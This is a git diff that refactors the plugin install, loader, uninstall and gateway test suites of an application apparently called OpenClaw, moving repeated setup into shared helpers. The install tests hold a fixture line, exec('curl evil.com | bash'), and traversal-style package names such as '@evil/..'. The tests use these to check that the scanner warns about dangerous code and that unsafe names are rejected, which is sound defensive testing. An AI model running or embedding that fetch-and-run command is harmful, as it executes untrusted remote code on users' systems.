@@ describe("installPluginFromArchive", () => { }); it("rejects traversal-like plugin names", async () => { - const stateDir = makeTempDir(); - const workDir = makeTempDir(); - const pkgDir = path.join(workDir, "package"); - fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true }); - fs.writeFileSync( - path.join(pkgDir, "package.json"), - JSON.stringify({ - name: "@evil/..", - version: "0.0.1", - openclaw: { extensions: ["./dist/index.js"] }, - }), - "utf-8", - ); - fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8"); - - const archivePath = await packToArchive({ - pkgDir, - outDir: workDir, + await expectArchiveInstallReservedSegmentRejection({ + packageName: "@evil/..", outName: "traversal.tgz", }); - - const extensionsDir = path.join(stateDir, "extensions"); - const { installPluginFromArchive } = await import("./install.js"); - const result = await installPluginFromArchive({ - archivePath, - extensionsDir, - }); - - expect(result.ok).toBe(false); - if (result.ok) { - return; - } - expect(result.error).toContain("reserved path segment"); }); it("rejects reserved plugin ids", async () => { - const stateDir = makeTempDir(); - const workDir = makeTempDir(); - const pkgDir = path.join(workDir, "package"); - fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true }); - fs.writeFileSync( - path.join(pkgDir, "package.json"), - JSON.stringify({ - name: "@evil/.", - version: "0.0.1", - openclaw: { extensions: ["./dist/index.js"] }, - }), - "utf-8", - ); - fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8"); - - const archivePath = await packToArchive({ - pkgDir, - outDir: workDir, + await expectArchiveInstallReservedSegmentRejection({ + packageName: "@evil/.", outName: "reserved.tgz", }); - - const extensionsDir = path.join(stateDir, "extensions"); - const { installPluginFromArchive } = await import("./install.js"); - const result = await installPluginFromArchive({ - archivePath, - extensionsDir, - }); - - expect(result.ok).toBe(false); - if (result.ok) { - return; - } - expect(result.error).toContain("reserved path segment"); }); it("rejects packages without openclaw.extensions", async () => { @@ -336,9 +333,7 @@ describe("installPluginFromArchive", () => { }); it("warns when plugin contains dangerous code patterns", async () => { - const tmpDir = makeTempDir(); - const pluginDir = path.join(tmpDir, "plugin-src"); - fs.mkdirSync(pluginDir, { recursive: true }); + const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.writeFileSync( path.join(pluginDir, "package.json"), @@ -353,28 +348,14 @@ describe("installPluginFromArchive", () => { `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, ); - const extensionsDir = path.join(tmpDir, "extensions"); - fs.mkdirSync(extensionsDir, { recursive: true }); - - const { installPluginFromDir } = await import("./install.js"); - - const warnings: string[] = []; - const result = await installPluginFromDir({ - dirPath: pluginDir, - extensionsDir, - logger: { - info: () => {}, - warn: (msg: string) => warnings.push(msg), - }, - }); + const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); expect(result.ok).toBe(true); expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true); }); it("scans extension entry files in hidden directories", async () => { - const tmpDir = makeTempDir(); - const pluginDir = path.join(tmpDir, "plugin-src"); + const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true }); fs.writeFileSync( @@ -390,19 +371,7 @@ describe("installPluginFromArchive", () => { `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, ); - const extensionsDir = path.join(tmpDir, "extensions"); - fs.mkdirSync(extensionsDir, { recursive: true }); - - const { installPluginFromDir } = await import("./install.js"); - const warnings: string[] = []; - const result = await installPluginFromDir({ - dirPath: pluginDir, - extensionsDir, - logger: { - info: () => {}, - warn: (msg: string) => warnings.push(msg), - }, - }); + const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); expect(result.ok).toBe(true); expect(warnings.some((w) => w.includes("hidden/node_modules path"))).toBe(true); @@ -414,9 +383,7 @@ describe("installPluginFromArchive", () => { .spyOn(skillScanner, "scanDirectoryWithSummary") .mockRejectedValueOnce(new Error("scanner exploded")); - const tmpDir = makeTempDir(); - const pluginDir = path.join(tmpDir, "plugin-src"); - fs.mkdirSync(pluginDir, { recursive: true }); + const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.writeFileSync( path.join(pluginDir, "package.json"), @@ -428,19 +395,7 @@ describe("installPluginFromArchive", () => { ); fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};"); - const extensionsDir = path.join(tmpDir, "extensions"); - fs.mkdirSync(extensionsDir, { recursive: true }); - - const { installPluginFromDir } = await import("./install.js"); - const warnings: string[] = []; - const result = await installPluginFromDir({ - dirPath: pluginDir, - extensionsDir, - logger: { - info: () => {}, - warn: (msg: string) => warnings.push(msg), - }, - }); + const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); expect(result.ok).toBe(true); expect(warnings.some((w) => w.includes("code safety scan failed"))).toBe(true); @@ -479,16 +434,10 @@ describe("installPluginFromDir", () => { if (!res.ok) { return; } - - const calls = run.mock.calls.filter((c) => Array.isArray(c[0]) && c[0][0] === "npm"); - expect(calls.length).toBe(1); - const first = calls[0]; - if (!first) { - throw new Error("expected npm install call"); - } - const [argv, opts] = first; - expect(argv).toEqual(["npm", "install", "--omit=dev", "--silent", "--ignore-scripts"]); - expect(opts?.cwd).toBe(res.targetDir); + expectSingleNpmInstallIgnoreScriptsCall({ + calls: run.mock.calls as Array<[unknown, { cwd?: string } | undefined]>, + expectedCwd: res.targetDir, + }); }); }); diff --git a/src/plugins/install.ts b/src/plugins/install.ts index 97b8f597ed4..c50dbee2941 100644 --- a/src/plugins/install.ts +++ b/src/plugins/install.ts @@ -73,6 +73,46 @@ async function ensureOpenClawExtensions(manifest: PackageManifest) { return list; } +function resolvePluginInstallModeOptions(params: { + logger?: PluginInstallLogger; + mode?: "install" | "update"; + dryRun?: boolean; +}): { logger: PluginInstallLogger; mode: "install" | "update"; dryRun: boolean } { + return { + logger: params.logger ?? defaultLogger, + mode: params.mode ?? "install", + dryRun: params.dryRun ?? false, + }; +} + +function resolveTimedPluginInstallModeOptions(params: { + logger?: PluginInstallLogger; + timeoutMs?: number; + mode?: "install" | "update"; + dryRun?: boolean; +}): { + logger: PluginInstallLogger; + timeoutMs: number; + mode: "install" | "update"; + dryRun: boolean; +} { + return { + ...resolvePluginInstallModeOptions(params), + timeoutMs: params.timeoutMs ?? 120_000, + }; +} + +function buildFileInstallResult(pluginId: string, targetFile: string): InstallPluginResult { + return { + ok: true, + pluginId, + targetDir: targetFile, + manifestName: undefined, + version: undefined, + extensions: [path.basename(targetFile)], + }; +} + export function resolvePluginInstallDir(pluginId: string, extensionsDir?: string): string { const extensionsBase = extensionsDir ? resolveUserPath(extensionsDir) @@ -101,10 +141,7 @@ async function installPluginFromPackageDir(params: { dryRun?: boolean; expectedPluginId?: string; }): Promise { - const logger = params.logger ?? defaultLogger; - const timeoutMs = params.timeoutMs ?? 120_000; - const mode = params.mode ?? "install"; - const dryRun = params.dryRun ?? false; + const { logger, timeoutMs, mode, dryRun } = resolveTimedPluginInstallModeOptions(params); const manifestPath = path.join(params.packageDir, "package.json"); if (!(await fileExists(manifestPath))) { @@ -345,9 +382,7 @@ export async function installPluginFromFile(params: { mode?: "install" | "update"; dryRun?: boolean; }): Promise { - const logger = params.logger ?? defaultLogger; - const mode = params.mode ?? "install"; - const dryRun = params.dryRun ?? false; + const { logger, mode, dryRun } = resolvePluginInstallModeOptions(params); const filePath = resolveUserPath(params.filePath); if (!(await fileExists(filePath))) { @@ -372,27 +407,13 @@ export async function installPluginFromFile(params: { } if (dryRun) { - return { - ok: true, - pluginId, - targetDir: targetFile, - manifestName: undefined, - version: undefined, - extensions: [path.basename(targetFile)], - }; + return buildFileInstallResult(pluginId, targetFile); } logger.info?.(`Installing to ${targetFile}…`); await fs.copyFile(filePath, targetFile); - return { - ok: true, - pluginId, - targetDir: targetFile, - manifestName: undefined, - version: undefined, - extensions: [path.basename(targetFile)], - }; + return buildFileInstallResult(pluginId, targetFile); } export async function installPluginFromNpmSpec(params: { @@ -404,10 +425,7 @@ export async function installPluginFromNpmSpec(params: { dryRun?: boolean; expectedPluginId?: string; }): Promise { - const logger = params.logger ?? defaultLogger; - const timeoutMs = params.timeoutMs ?? 120_000; - const mode = params.mode ?? "install"; - const dryRun = params.dryRun ?? false; + const { logger, timeoutMs, mode, dryRun } = resolveTimedPluginInstallModeOptions(params); const expectedPluginId = params.expectedPluginId; const spec = params.spec.trim(); const specError = validateRegistryNpmSpec(spec); diff --git a/src/plugins/loader.test.ts b/src/plugins/loader.test.ts index efc93d1abdb..7db185c8e87 100644 --- a/src/plugins/loader.test.ts +++ b/src/plugins/loader.test.ts @@ -43,6 +43,56 @@ function writePlugin(params: { return { dir, file, id: params.id }; } +function loadBundledMemoryPluginRegistry(options?: { + packageMeta?: { name: string; version: string; description?: string }; + pluginBody?: string; + pluginFilename?: string; +}) { + const bundledDir = makeTempDir(); + let pluginDir = bundledDir; + let pluginFilename = options?.pluginFilename ?? "memory-core.js"; + + if (options?.packageMeta) { + pluginDir = path.join(bundledDir, "memory-core"); + pluginFilename = "index.js"; + fs.mkdirSync(pluginDir, { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "package.json"), + JSON.stringify( + { + name: options.packageMeta.name, + version: options.packageMeta.version, + description: options.packageMeta.description, + openclaw: { extensions: ["./index.js"] }, + }, + null, + 2, + ), + "utf-8", + ); + } + + writePlugin({ + id: "memory-core", + body: + options?.pluginBody ?? `export default { id: "memory-core", kind: "memory", register() {} };`, + dir: pluginDir, + filename: pluginFilename, + }); + process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; + + return loadOpenClawPlugins({ + cache: false, + config: { + plugins: { + slots: { + memory: "memory-core", + }, + }, + }, + }); +} + afterEach(() => { if (prevBundledDir === undefined) { delete process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; @@ -145,63 +195,21 @@ describe("loadOpenClawPlugins", () => { }); it("enables bundled memory plugin when selected by slot", () => { - const bundledDir = makeTempDir(); - writePlugin({ - id: "memory-core", - body: `export default { id: "memory-core", kind: "memory", register() {} };`, - dir: bundledDir, - filename: "memory-core.js", - }); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - slots: { - memory: "memory-core", - }, - }, - }, - }); + const registry = loadBundledMemoryPluginRegistry(); const memory = registry.plugins.find((entry) => entry.id === "memory-core"); expect(memory?.status).toBe("loaded"); }); it("preserves package.json metadata for bundled memory plugins", () => { - const bundledDir = makeTempDir(); - const pluginDir = path.join(bundledDir, "memory-core"); - fs.mkdirSync(pluginDir, { recursive: true }); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ + const registry = loadBundledMemoryPluginRegistry({ + packageMeta: { name: "@openclaw/memory-core", version: "1.2.3", description: "Memory plugin package", - openclaw: { extensions: ["./index.js"] }, - }), - "utf-8", - ); - writePlugin({ - id: "memory-core", - body: `export default { id: "memory-core", kind: "memory", name: "Memory (Core)", register() {} };`, - dir: pluginDir, - filename: "index.js", - }); - - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = bundledDir; - - const registry = loadOpenClawPlugins({ - cache: false, - config: { - plugins: { - slots: { - memory: "memory-core", - }, - }, }, + pluginBody: + 'export default { id: "memory-core", kind: "memory", name: "Memory (Core)", register() {} };', }); const memory = registry.plugins.find((entry) => entry.id === "memory-core"); diff --git a/src/plugins/uninstall.test.ts b/src/plugins/uninstall.test.ts index ec1129f9c4f..f4172cf16ff 100644 --- a/src/plugins/uninstall.test.ts +++ b/src/plugins/uninstall.test.ts @@ -10,6 +10,42 @@ import { uninstallPlugin, } from "./uninstall.js"; +async function createInstalledNpmPluginFixture(params: { + baseDir: string; + pluginId?: string; +}): Promise<{ + pluginId: string; + extensionsDir: string; + pluginDir: string; + config: OpenClawConfig; +}> { + const pluginId = params.pluginId ?? "my-plugin"; + const extensionsDir = path.join(params.baseDir, "extensions"); + const pluginDir = resolvePluginInstallDir(pluginId, extensionsDir); + await fs.mkdir(pluginDir, { recursive: true }); + await fs.writeFile(path.join(pluginDir, "index.js"), "// plugin"); + + return { + pluginId, + extensionsDir, + pluginDir, + config: { + plugins: { + entries: { + [pluginId]: { enabled: true }, + }, + installs: { + [pluginId]: { + source: "npm", + spec: `${pluginId}@1.0.0`, + installPath: pluginDir, + }, + }, + }, + }, + }; +} + describe("removePluginFromConfig", () => { it("removes plugin from entries", () => { const config: OpenClawConfig = { @@ -286,26 +322,9 @@ describe("uninstallPlugin", () => { }); it("deletes directory when deleteFiles is true", async () => { - const pluginId = "my-plugin"; - const extensionsDir = path.join(tempDir, "extensions"); - const pluginDir = resolvePluginInstallDir(pluginId, extensionsDir); - await fs.mkdir(pluginDir, { recursive: true }); - await fs.writeFile(path.join(pluginDir, "index.js"), "// plugin"); - - const config: OpenClawConfig = { - plugins: { - entries: { - [pluginId]: { enabled: true }, - }, - installs: { - [pluginId]: { - source: "npm", - spec: `${pluginId}@1.0.0`, - installPath: pluginDir, - }, - }, - }, - }; + const { pluginId, extensionsDir, pluginDir, config } = await createInstalledNpmPluginFixture({ + baseDir: tempDir, + }); try { const result = await uninstallPlugin({ @@ -428,26 +447,9 @@ describe("uninstallPlugin", () => { }); it("returns a warning when directory deletion fails unexpectedly", async () => { - const pluginId = "my-plugin"; - const extensionsDir = path.join(tempDir, "extensions"); - const pluginDir = resolvePluginInstallDir(pluginId, extensionsDir); - await fs.mkdir(pluginDir, { recursive: true }); - await fs.writeFile(path.join(pluginDir, "index.js"), "// plugin"); - - const config: OpenClawConfig = { - plugins: { - entries: { - [pluginId]: { enabled: true }, - }, - installs: { - [pluginId]: { - source: "npm", - spec: `${pluginId}@1.0.0`, - installPath: pluginDir, - }, - }, - }, - }; + const { pluginId, extensionsDir, config } = await createInstalledNpmPluginFixture({ + baseDir: tempDir, + }); const rmSpy = vi.spyOn(fs, "rm").mockRejectedValueOnce(new Error("permission denied")); try { diff --git a/src/plugins/wired-hooks-llm.test.ts b/src/plugins/wired-hooks-llm.test.ts index 9311f31e30e..a20a40aa84c 100644 --- a/src/plugins/wired-hooks-llm.test.ts +++ b/src/plugins/wired-hooks-llm.test.ts @@ -1,35 +1,11 @@ import { describe, expect, it, vi } from "vitest"; -import type { PluginRegistry } from "./registry.js"; import { createHookRunner } from "./hooks.js"; - -function createMockRegistry( - hooks: Array<{ hookName: string; handler: (...args: unknown[]) => unknown }>, -): PluginRegistry { - return { - hooks: hooks as never[], - typedHooks: hooks.map((h) => ({ - pluginId: "test-plugin", - hookName: h.hookName, - handler: h.handler, - priority: 0, - source: "test", - })), - tools: [], - httpHandlers: [], - httpRoutes: [], - channelRegistrations: [], - gatewayHandlers: {}, - cliRegistrars: [], - services: [], - providers: [], - commands: [], - } as unknown as PluginRegistry; -} +import { createMockPluginRegistry } from "./hooks.test-helpers.js"; describe("llm hook runner methods", () => { it("runLlmInput invokes registered llm_input hooks", async () => { const handler = vi.fn(); - const registry = createMockRegistry([{ hookName: "llm_input", handler }]); + const registry = createMockPluginRegistry([{ hookName: "llm_input", handler }]); const runner = createHookRunner(registry); await runner.runLlmInput( @@ -57,7 +33,7 @@ describe("llm hook runner methods", () => { it("runLlmOutput invokes registered llm_output hooks", async () => { const handler = vi.fn(); - const registry = createMockRegistry([{ hookName: "llm_output", handler }]); + const registry = createMockPluginRegistry([{ hookName: "llm_output", handler }]); const runner = createHookRunner(registry); await runner.runLlmOutput( @@ -87,7 +63,7 @@ describe("llm hook runner methods", () => { }); it("hasHooks returns true for registered llm hooks", () => { - const registry = createMockRegistry([{ hookName: "llm_input", handler: vi.fn() }]); + const registry = createMockPluginRegistry([{ hookName: "llm_input", handler: vi.fn() }]); const runner = createHookRunner(registry); expect(runner.hasHooks("llm_input")).toBe(true); diff --git a/src/providers/google-shared.preserves-parameters-type-is-missing.test.ts b/src/providers/google-shared.preserves-parameters-type-is-missing.test.ts index 36c9eac0d1f..45b1c733e7b 100644 --- a/src/providers/google-shared.preserves-parameters-type-is-missing.test.ts +++ b/src/providers/google-shared.preserves-parameters-type-is-missing.test.ts @@ -123,6 +123,33 @@ describe("google-shared convertTools", () => { }); describe("google-shared convertMessages", () => { + function expectConsecutiveMessagesNotMerged(params: { + modelId: string; + first: string; + second: string; + }) { + const model = makeModel(params.modelId); + const context = { + messages: [ + { + role: "user", + content: params.first, + }, + { + role: "user", + content: params.second, + }, + ], + } as unknown as Context; + + const contents = convertMessages(model, context); + expect(contents).toHaveLength(2); + expect(contents[0].role).toBe("user"); + expect(contents[1].role).toBe("user"); + expect(contents[0].parts).toHaveLength(1); + expect(contents[1].parts).toHaveLength(1); + } + it("keeps thinking blocks when provider/model match", () => { const model = makeModel("gemini-1.5-pro"); const context = { @@ -170,49 +197,19 @@ describe("google-shared convertMessages", () => { }); it("does not merge consecutive user messages for Gemini", () => { - const model = makeModel("gemini-1.5-pro"); - const context = { - messages: [ - { - role: "user", - content: "Hello", - }, - { - role: "user", - content: "How are you?", - }, - ], - } as unknown as Context; - - const contents = convertMessages(model, context); - expect(contents).toHaveLength(2); - expect(contents[0].role).toBe("user"); - expect(contents[1].role).toBe("user"); - expect(contents[0].parts).toHaveLength(1); - expect(contents[1].parts).toHaveLength(1); + expectConsecutiveMessagesNotMerged({ + modelId: "gemini-1.5-pro", + first: "Hello", + second: "How are you?", + }); }); it("does not merge consecutive user messages for non-Gemini Google models", () => { - const model = makeModel("claude-3-opus"); - const context = { - messages: [ - { - role: "user", - content: "First", - }, - { - role: "user", - content: "Second", - }, - ], - } as unknown as Context; - - const contents = convertMessages(model, context); - expect(contents).toHaveLength(2); - expect(contents[0].role).toBe("user"); - expect(contents[1].role).toBe("user"); - expect(contents[0].parts).toHaveLength(1); - expect(contents[1].parts).toHaveLength(1); + expectConsecutiveMessagesNotMerged({ + modelId: "claude-3-opus", + first: "First", + second: "Second", + }); }); it("does not merge consecutive model messages for Gemini", () => { diff --git a/src/wizard/onboarding.completion.test.ts b/src/wizard/onboarding.completion.test.ts index 27dc4b2f04b..00c8ca2882f 100644 --- a/src/wizard/onboarding.completion.test.ts +++ b/src/wizard/onboarding.completion.test.ts @@ -1,25 +1,32 @@ import { describe, expect, it, vi } from "vitest"; import { setupOnboardingShellCompletion } from "./onboarding.completion.js"; +function createPrompter(confirmValue = false) { + return { + confirm: vi.fn(async () => confirmValue), + note: vi.fn(async () => {}), + }; +} + +function createDeps() { + return { + resolveCliName: () => "openclaw", + checkShellCompletionStatus: vi.fn(async () => ({ + shell: "zsh", + profileInstalled: false, + cacheExists: false, + cachePath: "/tmp/openclaw.zsh", + usesSlowPattern: false, + })), + ensureCompletionCacheExists: vi.fn(async () => true), + installCompletion: vi.fn(async () => {}), + }; +} + describe("setupOnboardingShellCompletion", () => { it("QuickStart: installs without prompting", async () => { - const prompter = { - confirm: vi.fn(async () => false), - note: vi.fn(async () => {}), - }; - - const deps = { - resolveCliName: () => "openclaw", - checkShellCompletionStatus: vi.fn(async () => ({ - shell: "zsh", - profileInstalled: false, - cacheExists: false, - cachePath: "/tmp/openclaw.zsh", - usesSlowPattern: false, - })), - ensureCompletionCacheExists: vi.fn(async () => true), - installCompletion: vi.fn(async () => {}), - }; + const prompter = createPrompter(); + const deps = createDeps(); await setupOnboardingShellCompletion({ flow: "quickstart", prompter, deps }); @@ -30,23 +37,8 @@ describe("setupOnboardingShellCompletion", () => { }); it("Advanced: prompts; skip means no install", async () => { - const prompter = { - confirm: vi.fn(async () => false), - note: vi.fn(async () => {}), - }; - - const deps = { - resolveCliName: () => "openclaw", - checkShellCompletionStatus: vi.fn(async () => ({ - shell: "zsh", - profileInstalled: false, - cacheExists: false, - cachePath: "/tmp/openclaw.zsh", - usesSlowPattern: false, - })), - ensureCompletionCacheExists: vi.fn(async () => true), - installCompletion: vi.fn(async () => {}), - }; + const prompter = createPrompter(); + const deps = createDeps(); await setupOnboardingShellCompletion({ flow: "advanced", prompter, deps }); diff --git a/test/gateway.multi.e2e.test.ts b/test/gateway.multi.e2e.test.ts index e3a6b2383fc..1873f82633c 100644 --- a/test/gateway.multi.e2e.test.ts +++ b/test/gateway.multi.e2e.test.ts @@ -7,6 +7,7 @@ import os from "node:os"; import path from "node:path"; import { afterAll, describe, expect, it } from "vitest"; import { GatewayClient } from "../src/gateway/client.js"; +import { connectGatewayClient } from "../src/gateway/test-helpers.e2e.js"; import { loadOrCreateDeviceIdentity } from "../src/infra/device-identity.js"; import { sleep } from "../src/utils.js"; import { GATEWAY_CLIENT_MODES, GATEWAY_CLIENT_NAMES } from "../src/utils/message-channel.js"; @@ -243,17 +244,8 @@ const connectNode = async ( const identityPath = path.join(inst.homeDir, `${label}-device.json`); const deviceIdentity = loadOrCreateDeviceIdentity(identityPath); const nodeId = deviceIdentity.deviceId; - let settled = false; - let resolveReady: (() => void) | null = null; - let rejectReady: ((err: Error) => void) | null = null; - const ready = new Promise((resolve, reject) => { - resolveReady = resolve; - rejectReady = reject; - }); - - const client = new GatewayClient({ + const client = await connectGatewayClient({ url: `ws://127.0.0.1:${inst.port}`, - connectDelayMs: 0, token: inst.gatewayToken, clientName: GATEWAY_CLIENT_NAMES.NODE_HOST, clientDisplayName: label, @@ -265,41 +257,8 @@ const connectNode = async ( caps: ["system"], commands: ["system.run"], deviceIdentity, - onHelloOk: () => { - if (settled) { - return; - } - settled = true; - resolveReady?.(); - }, - onConnectError: (err) => { - if (settled) { - return; - } - settled = true; - rejectReady?.(err); - }, - onClose: (code, reason) => { - if (settled) { - return; - } - settled = true; - rejectReady?.(new Error(`gateway closed (${code}): ${reason}`)); - }, + timeoutMessage: `timeout waiting for ${label} to connect`, }); - - client.start(); - try { - await Promise.race([ - ready, - sleep(10_000).then(() => { - throw new Error(`timeout waiting for ${label} to connect`); - }), - ]); - } catch (err) { - client.stop(); - throw err; - } return { client, nodeId }; }; diff --git a/test/helpers/dispatch-inbound-capture.ts b/test/helpers/dispatch-inbound-capture.ts new file mode 100644 index 00000000000..cd7b0bd5fdb --- /dev/null +++ b/test/helpers/dispatch-inbound-capture.ts @@ -0,0 +1,18 @@ +import { vi } from "vitest"; + +export function buildDispatchInboundCaptureMock>( + actual: T, + setCtx: (ctx: unknown) => void, +) { + const dispatchInboundMessage = vi.fn(async (params: { ctx: unknown }) => { + setCtx(params.ctx); + return { queuedFinal: false, counts: { tool: 0, block: 0, final: 0 } }; + }); + + return { + ...actual, + dispatchInboundMessage, + dispatchInboundMessageWithDispatcher: dispatchInboundMessage, + dispatchInboundMessageWithBufferedDispatcher: dispatchInboundMessage, + }; +} diff --git a/test/helpers/mock-incoming-request.ts b/test/helpers/mock-incoming-request.ts new file mode 100644 index 00000000000..bc4d3e2e984 --- /dev/null +++ b/test/helpers/mock-incoming-request.ts @@ -0,0 +1,23 @@ +import type { IncomingMessage } from "node:http"; +import { EventEmitter } from "node:events"; + +export function createMockIncomingRequest(chunks: string[]): IncomingMessage { + const req = new EventEmitter() as IncomingMessage & { destroyed?: boolean; destroy: () => void }; + req.destroyed = false; + req.headers = {}; + req.destroy = () => { + req.destroyed = true; + }; + + void Promise.resolve().then(() => { + for (const chunk of chunks) { + req.emit("data", Buffer.from(chunk, "utf-8")); + if (req.destroyed) { + return; + } + } + req.emit("end"); + }); + + return req; +} diff --git a/test/provider-timeout.e2e.test.ts b/test/provider-timeout.e2e.test.ts index 6b547cfc6f8..6bb5ba25739 100644 --- a/test/provider-timeout.e2e.test.ts +++ b/test/provider-timeout.e2e.test.ts @@ -3,10 +3,8 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { describe, expect, it } from "vitest"; -import { GatewayClient } from "../src/gateway/client.js"; -import { startGatewayServer } from "../src/gateway/server.js"; -import { getDeterministicFreePortBlock } from "../src/test-utils/ports.js"; -import { GATEWAY_CLIENT_MODES, GATEWAY_CLIENT_NAMES } from "../src/utils/message-channel.js"; +import { startGatewayWithClient } from "../src/gateway/test-helpers.e2e.js"; +import { buildOpenAiResponsesProviderConfig } from "../src/gateway/test-openai-responses-model.js"; type OpenAIResponseStreamEvent = | { type: "response.output_item.added"; item: Record } @@ -77,44 +75,6 @@ function extractPayloadText(result: unknown): string { return texts.join("\n").trim(); } -async function connectClient(params: { url: string; token: string }) { - return await new Promise>((resolve, reject) => { - let settled = false; - const stop = (err?: Error, client?: InstanceType) => { - if (settled) { - return; - } - settled = true; - clearTimeout(timer); - if (err) { - reject(err); - } else { - resolve(client as InstanceType); - } - }; - const client = new GatewayClient({ - url: params.url, - connectDelayMs: 0, - token: params.token, - clientName: GATEWAY_CLIENT_NAMES.TEST, - clientDisplayName: "vitest-timeout-fallback", - clientVersion: "dev", - mode: GATEWAY_CLIENT_MODES.TEST, - onHelloOk: () => stop(undefined, client), - onConnectError: (err) => stop(err), - onClose: (code, reason) => - stop(new Error(`gateway closed during connect (${code}): ${reason}`)), - }); - const timer = setTimeout(() => stop(new Error("gateway connect timeout")), 10_000); - timer.unref(); - client.start(); - }); -} - -async function getFreeGatewayPort(): Promise { - return await getDeterministicFreePortBlock({ offsets: [0, 1, 2, 3, 4] }); -} - describe("provider timeouts (e2e)", () => { it( "falls back when the primary provider aborts with a timeout-like AbortError", @@ -183,58 +143,18 @@ describe("provider timeouts (e2e)", () => { models: { mode: "replace", providers: { - primary: { - baseUrl: primaryBaseUrl, - apiKey: "test", - api: "openai-responses", - models: [ - { - id: "gpt-5.2", - name: "gpt-5.2", - api: "openai-responses", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128_000, - maxTokens: 4096, - }, - ], - }, - fallback: { - baseUrl: fallbackBaseUrl, - apiKey: "test", - api: "openai-responses", - models: [ - { - id: "gpt-5.2", - name: "gpt-5.2", - api: "openai-responses", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128_000, - maxTokens: 4096, - }, - ], - }, + primary: buildOpenAiResponsesProviderConfig(primaryBaseUrl), + fallback: buildOpenAiResponsesProviderConfig(fallbackBaseUrl), }, }, gateway: { auth: { token } }, }; - await fs.writeFile(configPath, `${JSON.stringify(cfg, null, 2)}\n`); - process.env.OPENCLAW_CONFIG_PATH = configPath; - - const port = await getFreeGatewayPort(); - const server = await startGatewayServer(port, { - bind: "loopback", - auth: { mode: "token", token }, - controlUiEnabled: false, - }); - - const client = await connectClient({ - url: `ws://127.0.0.1:${port}`, + const { server, client } = await startGatewayWithClient({ + cfg, + configPath, token, + clientDisplayName: "vitest-timeout-fallback", }); try {